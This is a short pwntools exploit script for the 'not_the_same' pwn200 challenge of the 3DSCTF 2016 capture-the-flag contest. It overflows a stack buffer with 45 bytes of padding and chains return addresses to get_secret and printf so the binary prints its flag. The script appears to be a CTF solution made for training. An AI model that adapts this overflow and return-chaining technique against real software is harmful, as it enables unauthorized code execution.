Buffer overflow using Pwntools to exploit pwn200-not_the_same @ 3dsctf-2k16

not_the_same_exploit_pwntools.py

## Buffer overflow using Pwntools to exploit pwn200-not_the_same @ 3dsctf-2k16
# @author intrd - http://dann.com.br/
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/

import sys
from pwn import *

context(arch = 'i386', os = 'linux', endian = 'little', word_size = 32)
#context(arch = 'i386', os = 'linux', endian = 'little', word_size = 32, log_level = 'debug')

binary = './not_the_same'
p = process(binary,stdin=process.PTY)

# Remote
# HOST = '54.175.35.248'
# PORT = 8006
# p = remote(HOST, PORT)

tex=p.recv(timeout=0.2)
print tex

payload = "a"*45 #in hex "\x90"*0x2d

get_secret = 0x080489A0
printf = 0x0804F0A0
flag = 0x080ECA2D
junk_address = "AAAA"

payload += p32(get_secret)
payload += p32(printf)
payload += junk_address
payload += p32(flag)

# print payload
# sys.exit(0)

print("[*] sending payload..")
p.sendline(payload)
print("[*] done.")

#raw_input("type something: ")
#p.interactive()
#p.sendline('asdasdas')

flag = p.recvall()
print("[*] output: " + flag)

p.clean()
p.close()